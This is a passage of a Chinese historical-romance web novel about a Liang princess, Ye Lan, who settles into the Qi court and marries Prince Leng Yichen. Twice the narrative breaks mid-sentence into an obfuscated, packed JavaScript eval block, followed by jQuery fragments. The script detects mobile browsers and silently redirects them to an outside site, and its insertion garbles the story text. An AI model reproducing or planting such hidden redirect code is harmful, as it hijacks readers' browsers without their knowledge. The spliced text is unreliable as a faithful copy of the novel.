崇宁王、冷逸尘,不是她未来的夫君么。待叶岚反应过来,抬头一看,那人已出门去了。 曹嬷嬷端着茶盏,笑道:“殿下亲自来看公主,还等了公主两盏茶的时间,皇后娘娘也遣人送来了许多补品。娘娘与殿下,真是用心待公主。” 叶岚并不领情:“本宫千里而来,他们应尽地主之谊,倒是劳烦你了,替本宫回了崇宁王的话。” 她抬眼看了看侍女,不习惯这些生面孔:“让安如和云琴来服侍。再准备些膳食来。”一日未用膳,她有些饿了。 这话让曹嬷嬷脸上一阵青白,但有还是赔笑:“是,奴婢去安排。” “先准备沐浴吧。”叶岚只觉浊气缠身,想要梳洗一番。 “是,奴婢着人去准备。”曹嬷嬷说罢,行礼退下。 沐浴餐饮毕,太阳已落山,祁国侍女皆被遣了出去,安如整理被褥,云琴整理钗环。 叶岚坐在梳妆台前,看着她们两个多有疲惫,心疼的说:“辛苦你们两个,为我千里而来……此后,只有咱们三个是亲人了。” 安如放下手里的被褥,走过来安抚叶岚:“公主是奴婢看着长大的,说句僭越的话,奴婢是把公主当女儿的。公主去哪儿,奴婢就去哪儿。” 云琴也半跪在叶岚膝边,说道:“奴婢也是自请随公主同来,成王妃也有此意,便成全了奴婢,只为公主身边有个知心的人。” 叶岚将头靠在安如怀里,拉着云琴的手点点头,一时场面温馨,她心里有了温暖。 忽而,外面响起曹嬷嬷的声音。 4. 世事不可攀 曹嬷嬷在外问道:“公主,可安歇了?” 叶岚对安如摇摇头,示意她回了门外之人。初来乍到,要把姿态往高里放,不能让人觉得好拿捏。 安如自然知道怎么做,轻轻开了门又掩好。低声说:“公主刚服了药安歇了,嬷嬷有事明日再说吧。” 曹嬷嬷只得退下。 确定曹嬷嬷走后,安如小声对叶岚说:“这曹嬷嬷应是宫中老人,说话办事滴水不漏。她既是皇后娘娘身旁之人,无疑是皇后的耳目,公主与她交谈时需多加留意。” 云琴说:“这皇后着实有心机,即给了公主面子,又安插了耳目。” 安如责备:“云琴慎言,如今不比在王府,言行需万分谨慎,不可让公主陷入两难之地。” 云琴自知言语有失,不再多言。 安如接着说道:“崇宁王毕竟是皇后嫡出,皇后自然要更为上心些。” 叶岚问:“今日是曹嬷嬷不让你们进我寝殿的?” 云琴点点头。 叶岚皱眉:“我猜也是。这个曹嬷嬷,办事圆滑周到,却又不着痕迹。我不喜欢这样的人。她的态度强势,定是受了宫中之人的默许。既然是后宫,勾心斗角之事必然少不了。” 叶岚有些忧愁。她年幼时,母亲忍让躲避,她并没有见到过多少后宫之中的明争暗斗。 她感慨:“姐姐有时怨我母亲不去争一争。现在想来,这也是她保护我的一种方式吧。我母亲定是知道自己没有能力,所以没有她自己和陷入危险之中。” “公主,有时候不争不代表别人不会加害。”安如心下叹了口气,叶岚不知道她母亲以前所经历之事,若知道了,定然不会这样说。 安如看着叶岚的忧愁,改口劝慰:“听闻崇宁王自有府邸,公主以后除了四时问安、年节见礼,平日是不在宫中的。没有公主想到那样坏。” 云琴也宽慰叶岚:“今日这里的人对奴婢们也都友好尽心。” 叶岚并不相信这里的人:“不过是给外人看的,谁会对异国人有真心。” 安如拍拍叶岚的手:“最起码祁国的态度摆在这里,他们不会轻视公主的。公主会如愿的。不早了,公主安歇吧。” 如愿,叶岚也不知道她现在有什么愿望。 是两国和平吗?这个太宏大了,也离她太遥远了。或者说这个愿望是两个国君的,她只是这个愿望的载体。 是琴瑟和鸣吗?这个她连想都不敢想,两个陌生人硬被牵扯到一起,能有什么情分。 她是被历史的洪流裹挟着走了这一步,她与今天那个背影只求相安无事便好,不能有所期待。 她想了又想,如今有什么愿望呢?终于,她想起了那日函关郡守刘冀说的那句“平安顺遂”。那么,她的愿望姑且就是平安顺遂吧。 一夜辗转,不觉东方既白。 叶岚刚刚梳洗毕。曹嬷嬷又来了,见过礼后寒暄道:“公主昨夜睡的可还习惯。” 叶岚端着茶盏没有抬头,没精打采的说道:“还好……” “奴婢来与公主说说这几日的安排,原本昨日就该告知公主的。婚礼定在腊月二十八,在崇宁王殿下在宫中的旧居长宁殿内举行,这几日由奴婢来教导公主规矩……”曹嬷嬷越说越没有底气,因为她看到了叶岚冰冷的眼神和似笑非笑的神情。 叶岚将茶杯递给云琴,声音中透着不悦:“告知?是你们商量好了,来通知本宫吗?教导规矩?你的意思是本宫不识礼数?” 曹嬷嬷显然没想到这公主柔弱不堪,却有些脾气,赶紧笑着解释:“公主息怒,是奴婢失言。这是皇后娘娘亲自安排的,宫中司礼官商定的流程。” “我且问你,这公主府可是为本宫准备的?” “是。” “既是为本宫准备,那可是本宫说了算?” “自然是一切皆听公主吩咐。” “那么,今日今时本宫还是梁国公主。你不必拿你们祁国的长辈来压本宫,这祁国的宫规也暂时管束不了本宫。”叶岚声音不大,却威严十足。 云琴看向安如,她没想到一向温和的公主竟然会有如此发话。她发现安如也是微微诧异。 但是安如眼中更多的是欣慰。她的公主应该是这个样子,不能一味柔弱,该强势的时候就要强势。此时立下威严,以后便不会曹嬷嬷掣肘。 她略带责备的回看了云琴一眼,示意她严肃些。云琴意会,将后背挺了挺。 那曹嬷嬷心中自然不悦。她是宫中老人,颇有威望,就是妃嫔们见了她也要客气三分,她从未受过如此的对待。 她倒也不慌,只觉是公主娇生惯养,不愿受拘束。祁宫里再刁蛮的主子,她都教导得了,对待这样的公主她自有一套。 曹嬷嬷耐心的说道:“公主初来,自然多有不适,一切慢慢来。” 叶岚闭眼,弱弱的说道:“那就慢慢来吧……” 安如接过话茬:“昭阳公主一路舟车劳顿,初到公主府,曹嬷嬷便三番两次来扰。公主本就柔弱,若是被逼的染了恙,便是你们服侍不周。” 叶岚也单手扶额,以示欠安。略带威胁的说道:“本宫未进早膳,就先听了你一番教导,这早膳也没胃口吃了。曹嬷嬷这样心急,是怕皇后娘娘责备你怠工吗?听闻皇后娘娘体恤后辈,若本宫此时重病不起,你说皇后娘娘会不会怪罪于你?” 曹嬷嬷立即改了口风:“是奴婢疏忽了,早膳已准备好,奴婢是来请公主用膳的。” 叶岚抬眼看了外面,幽幽的说:“本宫现在胸口烦闷,早膳是吃不下了。你们这里天气寒冷,本宫也不习惯。以后的膳食就送到这屋子来。” 曹嬷嬷只得点头称是。 接下来五日,一切按部就班、相安无事。曹嬷嬷对叶岚恭敬有加,应是之前一番话起了作用。 第六日,宫中来人传召:宫内梅园花开正盛,皇后娘娘特邀昭阳公主入宫赏梅。自然是一众婆婆、姑姐、妯娌等想见见新媳妇儿。 叶岚还是很重视这件事的,毕竟让这群人满意了,自己以后也能少些麻烦。 估计这几日的恶形恶状早已传到宫中。深宫之人大抵都喜欢温婉贤淑之流,那明日便做一个乖巧之人,让人摸不透脾气,便无人敢轻易发难。 当晚,她挑了一身素色吉服,配了两支金钗,两支玉钗,华贵典雅。 第七日天未亮,叶岚就被叫起来梳妆。冬日的天,亮的总是很晚,登上车架时,东方刚刚鱼肚白。 虽然天气干冷,但还好今日无风。北方冬日的风像尖刀一样,刮的皮肤生疼,叶岚十分不喜欢。 所谓“悲风断肌”,大抵就是如此。 曹嬷嬷与叶岚同去。车架约走了一个时辰,便到了祁宫。 与梁宫相比,这北方宫殿更显端庄肃穆,少了些华丽仟侬。 叶岚由曹嬷嬷引着来到了皇后的温德宫,几位嫔妃、命妇早已在此聚集。 在曹嬷嬷的介绍下,叶岚与众人一一见礼。人物众多,她一时记不住,只记得了穿明黄色吉服的是皇后娘娘。 皇后面容姣好,加上精致的梳妆打扮,显得很是年轻。 一番寒暄,皇后送了叶岚一套凤钗头面,一对碧玉福镯作为见面礼。 叶岚含笑致谢,言辞有度、敬事如仪,一时间氛围祥和。 中官来报,梅园内一切已备好,只等众人前去。叶岚被皇后拉着手走出大殿,上了步撵。 一路上皇后问了叶岚起居饮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073848|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食,又说她的手凉,待大婚后让医官好生调理一番。 叶岚心中始终戒备,一一应下,未有他言。 到了梅园,众人四散赏梅去了。正所谓“树动悬冰落,枝高出手寒”。这梅花要搭着雪景才好看,可北方冬日干旱少雪。 几株梅花开的倒是不错,但周围枯草黄土,让梅花失了几分雅致。 若是剪几只插在瓶里,摆在房中,要比在这里好看些。叶岚这样想着,抬手去抚摸粉红的花瓣,凉凉软软,几乎不能引起触觉。 忽而,她身后有声音传来:“昭阳公主。” 叶岚转身,只见一华贵端庄的女子,妆容淡雅,举止从容。 “昭阳公主,我是逸尘的长姐,冷秋韵。” 原来是长公主,怪不得叶岚一看到她就想起皇后来。 关于祁国后宫,曹嬷嬷介绍的并不多,只说皇后娘娘儿女双全,是有福之人。 “请长公主叫我叶岚吧。”二人行了平礼。 长公主含笑:“远者如晴岚上浮,若处子光绝溢出眉宇,未必有意,自然动人。叶岚,真是个好名字呢。名如其人,是个温婉的女子。” “长公主过誉了。”叶岚心中感叹:可真是个有才华的女子。她从未想过她的名字还可以有如此意境。 关于叶岚这个名字,和她的姐妹的相差太多,她长姐叫清风,五姐叫朝雨,七妹叫如雪。 听母亲解释是,她出生之日大雾弥漫,故而梁帝赐名为“岚”。 “这里怪无趣的,我带你四处走走。”冷秋韵见叶岚看向皇后的方向,拉过她的手道:“放心,已经禀明母后了。” “这宫里的事,曹嬷嬷可与你说过?”冷秋韵便走边说。 叶岚摇头:“只教习了规矩和婚礼流程。” “也是,有些事她不便说的。” 在冷秋韵的介绍下,叶岚大致了解了这祁国后宫的情况。祁国与梁国不同,皇室子女单独齿序。 先说皇子:大皇子冷逸安,先皇后所生,出生便被立为太子。先皇后体弱多病,冷逸安亦是先天不足,十岁上,母子二人因伤寒双双殒命。二皇子崇安王冷逸凡,先静贵妃所出。三皇子崇宁王冷逸尘,皇后嫡出。其后还有俩个皇子,都早夭了。 再说公主:长公主冷秋韵,与冷逸尘一母同胞,另有一小公主尚在襁褓中。 这偌大的祁国后宫,只此四个孩子。 冷秋韵带着叶岚一路说话,最后到了长宁殿。 “这是长宁殿,逸尘出宫前就住在这里。”冷秋韵叹了口气,继续说:“这宫殿已经空了四五年了,真是快呀!这几年里难得见到他,上次见他,我几乎都快认不出来了,真是长大了……为了大婚,这殿中里外都已重新修葺过,咱们进去看看吧。” 叶岚想:这皇后娘娘真是狠心,怎忍心孩子小小年纪就出宫去,或是祁帝怕“慈母多败儿”吧,抑或是有别的不得已的原因吧。 殿中触目皆红,彩槛雕楹、流苏羽帐,无不华丽。 “逸尘成婚后,我与父皇母后也就放心了。”冷秋韵拍着叶岚的手,眼中甚是欣慰。 叶岚不多言,只随着冷秋韵看了一遭后,便返回了。用过午膳,皇后也没多留,只道回去好好休息。 晚间,叶岚静下来细细消化今日所见所闻。这祁国后宫真是祥和,除了子嗣少些,似乎没什么缺点。这几个孩子,定然个个都是掌上明珠。 这冷逸尘是什么样的人呢?今天没人提及。但他的命真好,生来就是皇子,有父亲爱、有母亲疼、有姐姐关心。 有亲人在,真好!可她自身,却是孤身他乡千里外。叶岚想成王府了,想她的哥哥姐姐了。 一时间悲从中来,不可断绝。 5. 龙凤烛影孤 腊月二十八,箫鼓迎新婚。 婚礼定于酉时。司礼官按时辰制定了严格的流程安排,包括车架何时从公主府到祁宫门口、又何时从祁宫门口到长宁殿,都有精准的计算。 叶岚无需做什么,只需随着曹嬷嬷和礼官的指引即可。只是此行并未安排安如与云琴相随,叶岚只能一个人面对。 叶岚穿戴整齐坐在殿内,等待迎亲队伍到来。嫁衣沉甸甸,一如她的此时心情。 不知过了几时,礼官派人来传话:“请公主戴凤冠。” 侍女们为叶岚戴上凤冠、整理了发饰,又将喜帕盖在她头上。曹嬷嬷告诉她喜帕一盖,只能等新郎来掀开。 一切准备就绪,却不急着出门,待外面的锣鼓催妆了三次,曹嬷嬷才示意可以出门了。 外面礼官高喊:“吉时已到,新娘入轿。” 女子出嫁,本应由兄弟抱上喜轿,而她是由一个力壮的喜婆背上了喜轿。 那喜轿不是普通的花轿,而是四马架的厌翟车,车上设黄色团盖,四柱维幕,四垂大带。 待关上车门,乐声大作、锣鼓齐鸣,百子炮仗如雨。 叶岚听着只觉惊心动魄,登时觉得她此生都分明了,可心中的不甘却增加了几分。 一路上叶岚眼前只有铺天盖地的红色,红色的喜帕、红色的嫁衣,红色帷幔,甚至连脚下的路都是红色的。 在一片红色中,她上了车架,又下了车架,上了喜轿,又下了喜轿,迈过了炭盆,接过了红绸带,拜过了天地,送入了洞房。 洞房里红烛罗帐,鸳鸯锦屏。叶岚端坐在床上,外面依旧是锣鼓喧天,丝竹欢歌,宾客贺喜,声声不断。 一切都是为她,一切又似乎与她无关?她是局中人,陪着众人表演;她是局外人,看着众人表演。 外面宾客散去,人声渐疏。叶岚的胃有些不舒服,她一天水米未进。没有安如、云琴在身边,没有人会关心她冷不冷、饿不饿。 她迫切需要一些食物来缓解不适。但她不能动,恐失了礼数。好在榻上撒了红枣、花生、桂圆、莲子。 眼下能马上入口的只有红枣。她悄悄拿了几颗藏在衣袖里,一个一个的吃下。 但一会儿她就后悔了,枣皮干硬,五颗枣下肚,只觉胃部疼痛。但此时也只得用手揉揉,艰难的挨着。 过了很久,门被打开,喜婆引着两列端着托盘的侍女入内,随后冷逸尘入内。 喜婆按照流程,说着吉祥话一步步引导着二人完成各种仪式。她将秤杆交给冷逸尘示意他挑开喜帕。 冷逸尘却注意到眼前之人头动了一下,双手死死的捏在一起。他看出了叶岚的不安,于是对众人说:“都退下吧。” 喜婆诧异了一下,但是马上又换了笑脸,摆下合卺酒后,说道:“良辰吉时兮风和日丽,鸾凤和鸣兮珠联璧合。礼成!”说罢识趣的带着一众侍女退下了。 殿内安静下来。叶岚见红色的长衫向她走来,顿了一下又踱了回去。现在殿内只剩下他们二人了。叶岚不禁有些紧张,掌心冒汗,两只手捏的更紧了。 冷逸尘又踱回来,站了一会,似乎是鼓了鼓勇气,用秤杆挑开了喜帕。 叶岚抬头,正对上了一双清澈眼睛。只这一瞬间,叶岚的心狠狠的咚了一下。她看着冷逸尘礼貌性的微笑,反倒觉得有些惊慌,赶紧移开了目光。怎么会有这样的感觉! 冷逸尘转身去拿酒杯。叶岚悄悄打量起他的背影,倒是玉树芝兰。冷逸尘转过身来,叶岚才看清他的容貌,只觉气质俊朗、神态洒脱,看着温润又清爽。 这个人看着不讨厌。还好,他看着不讨厌。 此时,冷逸尘已端着两杯酒过来坐下,叶岚下意识的往旁边挪了一挪。她注意到他身上并没有酒气,只有一股淡淡的茉莉清香。 冷逸尘将一杯酒递给她,她犹豫了一下接过,自顾自的饮了。 冷逸尘微诧:这合卺酒不是这个喝法,想曹嬷嬷之前肯定教过了,她为何如此行事?想来她是不情愿。 无奈他也只能将杯中酒饮尽,起身置酒杯于桌上,也未看她,只说道:“累了一日了,早些休息吧。”说罢便走向书架,挑了一卷书,坐在书案前看了起来。 冷逸尘语气清冷,听不出什么感情来,叶岚也不知该说些什么。 一杯烈酒下肚,胃又难受起来,她感觉胃已经抽成了一团,冷汗直冒。若没有粉黛的遮盖,她的脸已经是苍白的了。 她看了一眼冷逸尘,他似乎真的在读书,并未注意到她。她借着放酒杯来到桌边。 桌上摆的也是枣桂圆等干果,还有几碟枣泥豆沙做的糕点。 她又用眼角看了一眼冷逸尘,看他没有注意到她,便坐下拿起点心来吃。这点心已经放了一日了,有些干硬。 叶岚没吃两口便被噎住了,可桌上并没有茶水,她只得低头捂胸,使劲下咽。 一杯水放到了她面前。她知道是冷逸尘,但她没有抬头,只是拿过了杯子,这窘相怎可让人看到。 待用水顺下了糕点,叶岚终于开口,尴尬的解释:“谢谢,一天没吃东西了,是在是……有些饿了。” 冷逸尘未说话,转身走向门口,侍女问他有何吩咐,他只说叫泽生来。他对泽生说了几句,泽生便走了。 不多时,敲门声响,泽生递进了一个小食盒。冷逸尘回到桌前将食盒打开,里面是一碗热粥、几个小包子和一碟精致的小菜。 他将食物摆好,说道:“抱歉,是我疏忽了。这是我的侍卫从中厨找来的,还热着,放心吃。” 一句“抱歉”反倒让叶岚有些不好意思,对他礼貌性的微笑致谢。 冷逸尘未说什么,又回到了书案前拿来书卷。 叶岚心中感叹,这婚礼简直是受罪,要个吃食也如此这般,像做贼似的。在人家屋檐下,客随主便吧。 她吃了两个小包子、又喝了半碗粥后胃部舒服了许多。见冷逸尘依旧读书,她便自顾自的躺到了床上。 叶岚看着那对龙凤花烛,烛光悠悠晃动。她听人说洞房花烛夜,花烛燃尽才算美满。 可这花烛粗壮的像棵小树一样,燃一夜也未必能燃尽。不过都是美好的寓意罢了,她又不需要。 她扭头看了看冷逸尘,这桩婚姻,他也是身不由己吧。若可以,谁不愿找个心悦之人携手白头呢?而她与他,今晚才是第一次见面,而后便要捆绑一生。 一生啊,是多么漫长! 叶岚眼皮发沉。头上的金饰也沉沉的,她一根根慢慢拆掉,拆着拆着便去见了周公。 她着实是累了,竟是一夜无梦。 当她听见开门声时,外面天还黑着,花烛还有两寸多长,身上也不 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叶岚并不需要,也不想大早起就来碗苦苦的药喝。但为了不露破绽,便想端过来喝掉。 不料冷逸尘在她之前端起了药碗,放到了桌上:“这药太烫了,放凉再喝,你出去吧。” 侍女显然有些为难。冷逸尘冷声说道:“出去。” 那侍女只得退下。她走后,冷逸尘便将药从后窗倒了。叶岚很是感激的看着他,才发觉他已换了一身蓝里红衫,和她的衣服倒是很搭,应该是司礼官一起准备的。 接下来拜公婆、见亲戚,一切还算顺利。只是有一点,叶岚不解:冷逸尘似乎对这祁宫里的一切都是淡淡的。 当叶岚了解了祁宫的状况后,便觉得他应当是个幸福的人,最起码亲情是完整的。父亲、母亲、姐姐,都是那么关心他、爱护他。 但是,冷逸尘面对父母对他们的殷切嘱托,只淡淡称是;面对亲朋对他的祝福,他亦只淡淡道谢。仿佛任何事都激荡不起他心中的波澜。 他的这种态度,是对这桩婚事的消极抵抗吗?若他心中不愿,他为什么又对自己处处维护?人后之事不消说,人前亦是,虽不着痕迹,但是叶岚能感受得到。 叶岚一时也想不明白,也许是他觉得她同样无辜吧,在可怜她吧。 除夕夜,阖宫宴饮。冷逸尘却着人收拾东西,明日搬回崇宁王府。 皇后得知此事,单独叫了冷逸尘,不悦的说道:“怎的这样着急?在宫里多住几日再走。” “军务繁忙。已耽误了好些时日。” “大过年的,又是新婚。有些事不急于这一时。” 冷逸尘用朝政军务来推脱:“边关要务,不得怠慢。” 皇后也无甚话说。此时北方边境不稳,冷逸尘对此事如此上心,她也不能多做阻拦,无奈道:“初一祭拜先祖,初二有宫宴,初三再回去吧。 冷逸尘行礼告退。 皇后眼里微微发酸:她为这孩子付出了多少?此中艰难辛苦,他不知道。 即便是这后位,都是为了他的将来铺路,但这孩子似乎有自己的想法,但还好大局还在她的掌控之中。 既然她已经走到了这一步,便不能由着这孩子胡来。 6. 凤羽委桐阴 初三一早,叶岚与冷逸尘拜别众人,回到了崇宁王府。 又是一个陌生的地方。安如和云琴已被接了过来,在王府门口等待叶岚归来。叶岚见到她俩,只觉见到了亲人。 冷逸尘因心急于军中事务,也不拖泥带水,直接带叶岚来到一处院子,门口上悬“清和”二字。 冷逸尘说道:“以后你住在这清和轩内,公主府的东西已经搬来放到里面了。我之前不常在府中,东西备的不全。你若缺什么、少什么着人置办便是。后面是花园,右边是我的寝殿,前边是我的书房。”他顿了顿继续说:“书房是机要之地,希望你不要踏足……” 听他说的如此直白,叶岚很是不悦,冷脸道:“你放心,你的书房和寝殿我都不会踏足。”说罢撂下冷逸尘进院去了。 叶岚心中愤愤:这人变的可真快,前两日还能共情,今日到了他自己的地盘便开始嫌弃她。此后与他井水不犯河水,哼! 冷逸尘话还未完,便被甩下了。他没有去解释,转身去了军中大营。 王府内给叶岚安排了侍女十二名并粗使婆子四名。见王妃归来,皆忙碌起来。 叶岚沐浴后换了自己的衣衫,方觉周身轻松。她命人将寝殿内的东西全部换成了自己带来的,就连榻上的被褥帷幔也全部换下。 安定下来,叶岚在轩中转了两圈,这院子布局规整,端方有序。房舍宽敞明亮,只是殿内陈设简单了些。但没关系,以后再慢慢布置。 她默念着“清和”这两个字:天清和而温润,气恬淡以安治。这个名字也不错,很合她的心意。 总之,这里会是个好住处。 叶岚原是个对生活的要求极简单的人,陈设多少、装饰如何她都不挑剔。可如今这个地方是要常住的,需精心收拾一番,让自己舒心些。 她看来看去,觉得缺少个书房。这寝殿极大,倒是可开辟出一个来做书房。但要添置家具的话,还需要和冷逸尘说明一下。 或许是终于安稳了下来,叶岚睡了一个好觉,次日很晚才起身。待她梳洗毕便有人来请她去膳厅吃饭。 膳厅在王府的东南角,距清和轩有一段距离。 路上,叶岚悄悄的对安如说:“怎么这么巧,要用膳了马上就有人来请,定是有人去通报了。改日需将轩内好好整顿一番。近来,你与云琴要谨慎些。” 安如点头:“奴婢与云琴自会小心。” 叶岚进了膳厅,看见冷逸尘正拿着一卷书坐在桌边看着。见她进来,便将书卷交给了身边的侍从。 叶岚微微欠身行了一礼。冷逸尘起身还了一礼,随后示意侍从可以端上膳食了。 叶岚坐到了冷逸尘的对面。她半碗粥用了很长时间,一边吃一边琢磨着如何跟他说要改建书房的事,而后又犹豫着要不要说,毕竟这才是刚到王府的第二天。 冷逸尘早已用完早膳,可未离开。待叶岚用完早膳,他问道:“这府里住着可还习惯?我昨日归来晚了些。” 昨日冷逸尘将叶岚送回后,去大营里忙了一日,晚饭后才回来。 叶岚点点头。她昨天也忙了一日,膳食也是让人送去轩中,竟没注意到冷逸尘未在府中。 “这几日军中积了不少事务,以后我每日午膳、晚膳便不回来用了。” 叶岚点头,心里默念:如此甚好。 冷逸尘见叶岚不语,疑心她是因昨日之言不悦,遂说道:“昨日……我说话有些重了,抱歉!你不要往心里去……” 叶岚先摇摇头,又点点头。 门外泽生探头,今日他的殿下怎这样啰嗦。 冷逸尘看见泽生来催,便说:“没什么事的话我先走了。”说罢,站起来要走。 待他走到门口,叶岚鼓起勇气:“有一件事……我想改一间书房出来。” 冷逸尘顿足,毫不犹豫的回答:“好,想改成什么样的告诉泽生便好。”他顿了一下,继续说:“下午我让他早些回来。” “不必了,我画好草图,再交给他吧。” 出了膳厅,冷逸尘又被侍女拦下,来人回禀:宫里曹嬷嬷带来皇后懿旨,要见崇宁王和王妃。叶岚只得同去。 来到前厅,只见曹嬷嬷带着三个侍女等待。曹嬷嬷见礼:“奴婢敬请殿下、王妃康安。” “嬷嬷不必多礼。”冷逸尘言语清冷。 曹嬷嬷笑吟吟的说道:“奴婢今日奉皇后娘娘之命而来。娘娘体恤殿下新婚,府中侍女皆是新人,恐怠慢了殿下与王妃,特将长宁殿中旧人调拨过来服侍殿下与王妃。皇后娘娘一片慈母心,望殿下、王妃不要辜负了。” 曹嬷嬷身后站着的三个侍女,行礼后各报姓名:“奴婢:素蕊、丁香、苏叶,拜见崇宁王殿下、王妃。” 冷逸尘看向叶岚、曹嬷嬷也看向叶岚。叶岚漫不经心的说:“既是服侍殿下的旧人,自然是比别人妥帖,就由殿下来安排吧。” 冷逸尘见叶岚不拿注意,便接话:“那就暂时安排到我的寝殿里。泽生,带她们过去吧。” 曹嬷嬷见如此安排便也放心了:“素蕊是自小就服侍殿下的,丁香、苏叶二人也是聪慧伶俐的。有她们服侍,皇后娘娘也能安心了。” 泽生自领她们去安置,曹嬷嬷也告退了。 叶岚满脑子都是对书房的憧憬,没功夫管这等闲事,也匆匆回去画草图了。 冷逸尘看着叶岚的背影,叹了口气。 一番安排,终于,冷逸尘和泽生出门了。 泽生算算时辰,说道:“今日比平时晚了一个半时辰。”军营中事务堆积,回去了要加紧处理。 冷逸尘不满的说:“这曹嬷嬷来的不是时候。” “曹嬷嬷待的功夫倒不大,是王妃起的太晚了,殿下还偏偏要等她。” “她远道而来,无亲无故。况且,师兄又有托于我,于情于理都不可怠慢了……你以后还是叫她公主吧。”王妃这个称呼,他听着也有些不习惯。 “是。公主话也太少了些,方才殿下与她说话,她不是点头便是摇头。还有,殿下怎么就收下这三人了,皇后娘娘的眼线有属下一个就够了。”泽生絮絮叨叨。 “不是她们也会是别人,明的总比暗的好。再说,我又不好当众驳了母后的颜面,让寝殿的侍卫盯紧一些便是。” “是。今日您安排那三人到了寝殿,公主竟没多说什么,似乎都没有生气,果然是大家气度。”泽生感叹。 良久,冷逸尘叹了口气:“我与她……父母之命罢了。” 他是皇子,所接所触的皆是温婉淑女,对他也都是恭敬顺从,他想世家贵女大抵都如此吧。 既已到了适婚的年纪,与谁成婚都是一样。只是婚后,他还是要带兵出征的,不拖累他便好。 但他没有想到,与他订婚的竟是梁国公主,他师兄的妹妹。所以这桩婚事,他也没有抗拒,也没有挣扎。他想,哥哥妹妹,多少会有些相像吧。 大婚之夜他见到叶岚,觉得她的容貌与倒是与师有三分相像。几日接触下来,只觉这性格与叶皓全然不同。 那晚,叶岚看向他的目光很复杂,惊讶、担忧、无助、不知所措,甚至还有一些害怕。 看来,师兄遵守了约定,并未以实情告知于她,那么他便牢记师兄的嘱托便好。于是他并未强求于她、为她拿来了食物、帮她蒙混过关、又倒了那碗汤药。 今日他又挡了皇后的眼线。他想等他安顿好她的一切,再去北方巡边,如此也算没辜负师兄的托付。 不过,这几日她的一举一动都出乎他的意料。譬如,他听闻她对曹嬷嬷的态度,简直可以用刁蛮来形容,但实际又待人温和;她看见老鼠虽然惊慌也镇定;母后往他房中塞人她竟也不在意。她倒是是怎样的性格,他有些看不穿她。 晚间,叶岚已将书房的初稿画了出来,她揉揉发酸的手腕,心想:只润上好色,便可交给那个叫泽生小哥儿开工了。 云琴研着墨磨,抱怨道:“公主您新婚才几日,皇后娘娘便来送人过来,也未免太心急了些。” 叶岚拿起笔又在图上补了几笔:“左右她们没来这院子,他的寝殿和书房我也不会去。倒是与我没什么相干。” 安如一语中的:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073850|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主看不出么?殿下这是帮您挡了眼线。” 叶岚放下笔,说道:“我自然知道,他为我挡了劫,也算送了他当桃花,我们扯平了。” 其实,叶岚也发现,冷逸尘待她还算不错。可她心里始终有个结,不能视他为夫。 次日清晨,她早早起来去了膳厅,想着吃完饭尽快回来润色一下图纸。到了就看见冷逸尘已经坐在桌前了,手里仍是拿了一卷书。 “今日真是早啊!”冷逸尘放下书卷命人上膳食。 今日的膳食与昨日的不一样,是米糕、烧麦、水晶饺等南方小食,叶岚看着很是喜欢。 自来了祁国,在膳食上,叶岚就不甚满意。北方菜系以咸鲜为主,叶岚则喜酸甜。所以大多数时候她只喝粥饮汤,而粥大多时候又是粟米粥。 难道是他特意为她换了庖厨?她看了一眼冷逸尘,他正端着碗低头喝粥。 叶岚多用了些膳食,冷逸尘自然是看在眼里。 用膳毕,叶岚主动问道:“你每日都这样早吗?”毕竟有求于他,还是主动点好。 “平日在军营里早起要操练,习惯了。” “书房的图,只差润色了,中午便能给你。” “好。” “多谢,先告辞了。”叶岚起身离开。 冷逸尘看着她轻快的脚步,感觉奇怪:今日她倒是搭了几句话。 可他还要去军中,中午是不回来的。他突然想今日不去大营了,先安排完这件事。 他计划着人将军中要务取来送至书房,再命军中法算来见他。崇宁王府落成不过一年,冷逸尘也是偶尔来居住,府里的一切事务、账目由他军中的法算,陈安,代管。 泽生提醒冷逸尘,他之前下过命令:军中文书不可出军营。泽生不理解他的殿下为何自己先违了军令。 冷逸尘仔细想想,便也作罢,留下泽生处理,他独自走了。 未到中午,画稿已到了泽生手里,叶岚重新定了书房的位置,在东偏殿。 军中之人,办事就是利落。泽生一面找木行购买打造书架、案几等一应家具,一面命人找布匹庄拿来幛幔布料供叶岚挑选,一面又向云琴打听了叶岚的喜好后、命人到花市里购买堂花……一切安排的井井有条。 暖阁中旧物搬除,一番打扫。泽生不小心划伤了手,掌心半寸长的口子,血顺着手腕浸红了袖口。 叶岚很是过意不去,忙命人端水拿药,亲自为他清创、敷药、包扎。 泽生自是不敢劳动公主大驾,忙道:“公主尊贵,别让血污了您的手。” “无妨,若不是为我收拾这屋子,你也不会受伤。别动就好。” 泽生竟有些不好意思:“行军之人,这点小伤不算什么。” 叶岚微笑:“还要多谢你这几日的辛劳。” 泽生怎么敢受,行了一礼:“属下只是遵照殿下的吩咐行事。” 叶岚不想提及冷逸尘,转移了话题:“你叫泽生,是你父母为你取的名字吗?是泽被众生的意思吧。” “不知道……属下是孤儿,自小就没见过父母。” 天下苦命人竟然这般多。叶岚恐勾起他的伤心事,便不再说什么,只命云琴端茶水来。 泽生并未停留:“公主若没有别的吩咐,属下告退。”他不敢耽误,因为他瞧着这几日天气不好,恐要变天。工程一耽搁,军中事务便又要后延,他得抓紧时间。 工匠进进出出三日,新书房便落成了。笔墨纸砚、绿植陈设,一应俱全。 果真,完工的当晚便落了一场大雪。 